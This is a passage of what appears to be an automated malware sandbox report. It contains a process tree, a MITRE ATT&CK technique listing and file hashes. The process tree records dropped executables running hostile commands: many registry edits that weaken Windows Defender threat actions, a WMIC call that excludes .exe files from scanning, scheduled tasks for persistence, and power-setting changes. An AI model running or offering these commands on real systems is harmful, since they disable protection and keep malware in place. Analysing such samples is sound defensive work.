                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                        8⤵
                                          PID:5240
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                      6⤵
                                        PID:5920
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                          7⤵
                                            PID:1752
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                              8⤵
                                                PID:4592
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                            6⤵
                                              PID:1164
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                7⤵
                                                  PID:900
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                    8⤵
                                                      PID:1032
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                  6⤵
                                                    PID:5596
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                      7⤵
                                                        PID:528
                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                          8⤵
                                                            PID:5208
                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m calc.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                      5⤵
                                                        PID:1596
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                          6⤵
                                                            PID:3912
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                              7⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3140
                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                8⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1444
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /CREATE /TN "bytIiJgDVfAVkgdamS" /SC once /ST 16:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS385C.tmp\Install.exe\" I2 /uhdidIcc 385135 /S" /V1 /F
                                                          5⤵
                                                          • Drops file in Windows directory
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:5428
                                                  • C:\Users\Admin\Documents\SimpleAdobe\4M33CeE5nfQU1rd_j1NV6HLa.exe
                                                    C:\Users\Admin\Documents\SimpleAdobe\4M33CeE5nfQU1rd_j1NV6HLa.exe
                                                    2⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of SetThreadContext
                                                    PID:2388
                                                    • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                      3⤵
                                                        PID:1580
                                                    • C:\Users\Admin\Documents\SimpleAdobe\pceUgwNB1y0YfqLCqhRMQKLF.exe
                                                      C:\Users\Admin\Documents\SimpleAdobe\pceUgwNB1y0YfqLCqhRMQKLF.exe
                                                      2⤵
                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                      • Checks BIOS information in registry
                                                      • Executes dropped EXE
                                                      • Adds Run key to start application
                                                      • Checks whether UAC is enabled
                                                      PID:3024
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
                                                        3⤵
                                                        • Scheduled Task/Job: Scheduled Task
                                                        PID:4520
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
                                                        3⤵
                                                        • Scheduled Task/Job: Scheduled Task
                                                        PID:2668
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                    1⤵
                                                      PID:3348
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                      1⤵
                                                        PID:3012
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3860,i,5047420736443372512,9747851268033796534,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:8
                                                        1⤵
                                                          PID:1188
                                                        • C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe
                                                          "C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe" /svc
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • Writes to the Master Boot Record (MBR)
                                                          • Modifies data under HKEY_USERS
                                                          PID:5132
                                                          • C:\Program Files (x86)\AVG\Browser\Update\Install\{BC0E9756-8EC0-4B7B-B6B8-706433A2C246}\AVGBrowserInstaller.exe
                                                            "C:\Program Files (x86)\AVG\Browser\Update\Install\{BC0E9756-8EC0-4B7B-B6B8-706433A2C246}\AVGBrowserInstaller.exe" --chrome --do-not-launch-chrome --hide-browser-override --show-developer-mode --suppress-first-run-bubbles --default-search-id=3 --default-search=bing.com --adblock-mode-default=0 --no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data=msedge --import-cookies --auto-launch-chrome --system-level
                                                            2⤵
                                                            • Executes dropped EXE
                                                            • Drops file in Program Files directory
                                                            PID:5772
                                                            • C:\Program Files (x86)\AVG\Browser\Update\Install\{BC0E9756-8EC0-4B7B-B6B8-706433A2C246}\CR_91020.tmp\setup.exe
                                                              "C:\Program Files (x86)\AVG\Browser\Update\Install\{BC0E9756-8EC0-4B7B-B6B8-706433A2C246}\CR_91020.tmp\setup.exe" --install-archive="C:\Program Files (x86)\AVG\Browser\Update\Install\{BC0E9756-8EC0-4B7B-B6B8-706433A2C246}\CR_91020.tmp\SECURE.PACKED.7Z" --chrome --do-not-launch-chrome --hide-browser-override --show-developer-mode --suppress-first-run-bubbles --default-search-id=3 --default-search=bing.com --adblock-mode-default=0 --no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data=msedge --import-cookies --auto-launch-chrome --system-level
                                                              3⤵
                                                              • Boot or Logon Autostart Execution: Active Setup
                                                              • Executes dropped EXE
                                                              • Drops file in Program Files directory
                                                              • Modifies registry class
                                                              PID:4304
                                                              • C:\Program Files (x86)\AVG\Browser\Update\Install\{BC0E9756-8EC0-4B7B-B6B8-706433A2C246}\CR_91020.tmp\setup.exe
                                                                "C:\Program Files (x86)\AVG\Browser\Update\Install\{BC0E9756-8EC0-4B7B-B6B8-706433A2C246}\CR_91020.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=fake_url --annotation=plat=Win64 --annotation=prod=AVG --annotation=ver=125.0.25426.176 --initial-client-data=0x264,0x268,0x26c,0x240,0x270,0x7ff783345390,0x7ff78334539c,0x7ff7833453a8
                                                                4⤵
                                                                • Executes dropped EXE
                                                                PID:428
                                                        • C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
                                                          C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of SetThreadContext
                                                          PID:5616
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                            2⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3104
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                            2⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:5496
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                            2⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1276
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                            2⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3976
                                                          • C:\Windows\system32\conhost.exe
                                                            C:\Windows\system32\conhost.exe
                                                            2⤵
                                                              PID:4348
                                                            • C:\Windows\system32\svchost.exe
                                                              svchost.exe
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5512
                                                          • C:\Users\Admin\AppData\Local\Temp\7zS385C.tmp\Install.exe
                                                            C:\Users\Admin\AppData\Local\Temp\7zS385C.tmp\Install.exe I2 /uhdidIcc 385135 /S
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Modifies data under HKEY_USERS
                                                            PID:2184
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                              2⤵
                                                                PID:3408
                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                  forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                  3⤵
                                                                    PID:5620
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                      4⤵
                                                                        PID:5980
                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                          5⤵
                                                                            PID:6040
                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                        3⤵
                                                                          PID:5952
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                            4⤵
                                                                              PID:5776
                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                5⤵
                                                                                  PID:4404
                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                              forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                              3⤵
                                                                                PID:116
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                  4⤵
                                                                                    PID:2728
                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                      5⤵
                                                                                        PID:5208
                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                    3⤵
                                                                                      PID:5168
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                        4⤵
                                                                                          PID:5204
                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                            5⤵
                                                                                              PID:924
                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                          3⤵
                                                                                            PID:6128
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                              4⤵
                                                                                                PID:6132
                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                  5⤵
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  PID:976
                                                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                    6⤵
                                                                                                      PID:2284
                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                              2⤵
                                                                                                PID:5572
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:832
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                      4⤵
                                                                                                        PID:1760
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                      3⤵
                                                                                                        PID:4468
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                        3⤵
                                                                                                          PID:4412
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                          3⤵
                                                                                                            PID:2944
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                            3⤵
                                                                                                              PID:5088
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                                PID:808
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:4940
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                              1⤵
                                                                                                                PID:2792
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                1⤵
                                                                                                                  PID:4332

                                                                                                                Network

                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                Reconnaissance

                                                                                                                Resource Development

                                                                                                                Initial Access

                                                                                                                Execution

                                                                                                                Command and Scripting Interpreter

                                                                                                                1
                                                                                                                T1059

                                                                                                                PowerShell

                                                                                                                1
                                                                                                                T1059.001

                                                                                                                Scheduled Task/Job

                                                                                                                1
                                                                                                                T1053

                                                                                                                Scheduled Task

                                                                                                                1
                                                                                                                T1053.005

                                                                                                                System Services

                                                                                                                2
                                                                                                                T1569

                                                                                                                Service Execution

                                                                                                                2
                                                                                                                T1569.002

                                                                                                                Persistence

                                                                                                                Boot or Logon Autostart Execution

                                                                                                                2
                                                                                                                T1547

                                                                                                                Active Setup

                                                                                                                1
                                                                                                                T1547.014

                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                1
                                                                                                                T1547.001

                                                                                                                Create or Modify System Process

                                                                                                                3
                                                                                                                T1543

                                                                                                                Windows Service

                                                                                                                3
                                                                                                                T1543.003

                                                                                                                Event Triggered Execution

                                                                                                                2
                                                                                                                T1546

                                                                                                                Component Object Model Hijacking

                                                                                                                1
                                                                                                                T1546.015

                                                                                                                Image File Execution Options Injection

                                                                                                                1
                                                                                                                T1546.012

                                                                                                                Power Settings

                                                                                                                1
                                                                                                                T1653

                                                                                                                Pre-OS Boot

                                                                                                                1
                                                                                                                T1542

                                                                                                                Bootkit

                                                                                                                1
                                                                                                                T1542.003

                                                                                                                Scheduled Task/Job

                                                                                                                1
                                                                                                                T1053

                                                                                                                Scheduled Task

                                                                                                                1
                                                                                                                T1053.005

                                                                                                                Privilege Escalation

                                                                                                                Boot or Logon Autostart Execution

                                                                                                                2
                                                                                                                T1547

                                                                                                                Active Setup

                                                                                                                1
                                                                                                                T1547.014

                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                1
                                                                                                                T1547.001

                                                                                                                Create or Modify System Process

                                                                                                                3
                                                                                                                T1543

                                                                                                                Windows Service

                                                                                                                3
                                                                                                                T1543.003

                                                                                                                Event Triggered Execution

                                                                                                                2
                                                                                                                T1546

                                                                                                                Component Object Model Hijacking

                                                                                                                1
                                                                                                                T1546.015

                                                                                                                Image File Execution Options Injection

                                                                                                                1
                                                                                                                T1546.012

                                                                                                                Scheduled Task/Job

                                                                                                                1
                                                                                                                T1053

                                                                                                                Scheduled Task

                                                                                                                1
                                                                                                                T1053.005

                                                                                                                Defense Evasion

                                                                                                                Impair Defenses

                                                                                                                2
                                                                                                                T1562

                                                                                                                Disable or Modify System Firewall

                                                                                                                1
                                                                                                                T1562.004

                                                                                                                Modify Registry

                                                                                                                5
                                                                                                                T1112

                                                                                                                Pre-OS Boot

                                                                                                                1
                                                                                                                T1542

                                                                                                                Bootkit

                                                                                                                1
                                                                                                                T1542.003

                                                                                                                Subvert Trust Controls

                                                                                                                1
                                                                                                                T1553

                                                                                                                Install Root Certificate

                                                                                                                1
                                                                                                                T1553.004

                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                1
                                                                                                                T1497

                                                                                                                Credential Access

                                                                                                                Unsecured Credentials

                                                                                                                2
                                                                                                                T1552

                                                                                                                Credentials In Files

                                                                                                                2
                                                                                                                T1552.001

                                                                                                                Discovery

                                                                                                                Peripheral Device Discovery

                                                                                                                2
                                                                                                                T1120

                                                                                                                Process Discovery

                                                                                                                1
                                                                                                                T1057

                                                                                                                Query Registry

                                                                                                                9
                                                                                                                T1012

                                                                                                                Software Discovery

                                                                                                                1
                                                                                                                T1518

                                                                                                                Security Software Discovery

                                                                                                                1
                                                                                                                T1518.001

                                                                                                                System Information Discovery

                                                                                                                8
                                                                                                                T1082

                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                1
                                                                                                                T1497

                                                                                                                Lateral Movement

                                                                                                                Collection

                                                                                                                Data from Local System

                                                                                                                2
                                                                                                                T1005

                                                                                                                Command and Control

                                                                                                                Web Service

                                                                                                                1
                                                                                                                T1102

                                                                                                                Exfiltration

                                                                                                                Impact

                                                                                                                Service Stop

                                                                                                                1
                                                                                                                T1489

                                                                                                                Replay Monitor

                                                                                                                Loading Replay Monitor...

                                                                                                                Downloads

                                                                                                                • C:\Program Files (x86)\AVG\Browser\Update\AVGBrowserUpdate.exe
                                                                                                                  Filesize

                                                                                                                  204KB

                                                                                                                  MD5

                                                                                                                  cbcdf56c8a2788ed761ad3178e2d6e9c

                                                                                                                  SHA1

                                                                                                                  bdee21667760bc0df3046d6073a05d779fdc82cb

                                                                                                                  SHA256

                                                                                                                  e9265a40e5ee5302e8e225ea39a67d452eaac20370f8b2828340ba079abbbfd3

                                                                                                                  SHA512

                                                                                                                  5f68e7dffdd3424e0eb2e5cd3d05f8b6ba497aab9408702505341b2c89f265ebb4f9177611d51b9a56629a564431421f3ecb8b25eb08fb2c54dfeddecb9e9f2e

                                                                                                                  Download Submit

                                                                                                                • C:\Program Files (x86)\GUM5C6E.tmp\@PaxHeader
                                                                                                                  Filesize

                                                                                                                  27B

                                                                                                                  MD5

                                                                                                                  fc8ee03b2a65f381e4245432d5fef60e

                                                                                                                  SHA1

                                                                                                                  d2b7d9be66c75ccf24fcb45a6d0dacedd8b6dd6f

                                                                                                                  SHA256

                                                                                                                  751a04263c2ebb889fdcd11045d6f3602690318ebaaa54f66e1332d76dde9ef4

                                                                                                                  SHA512

                                                                                                                  0837f2b22c9629990165c5e070e710a69ad4951b7fcfe28bd52354c4b8a7246672497b8aaf521a8773c7ec2a4249fc4318330948ab0d8db8c6c74da57b32f1c4

                                                                                                                  Download Submit

                                                                                                                • C:\Program Files\AVG\Browser\Application\125.0.25426.176\Installer\setup.exe
                                                                                                                  Filesize

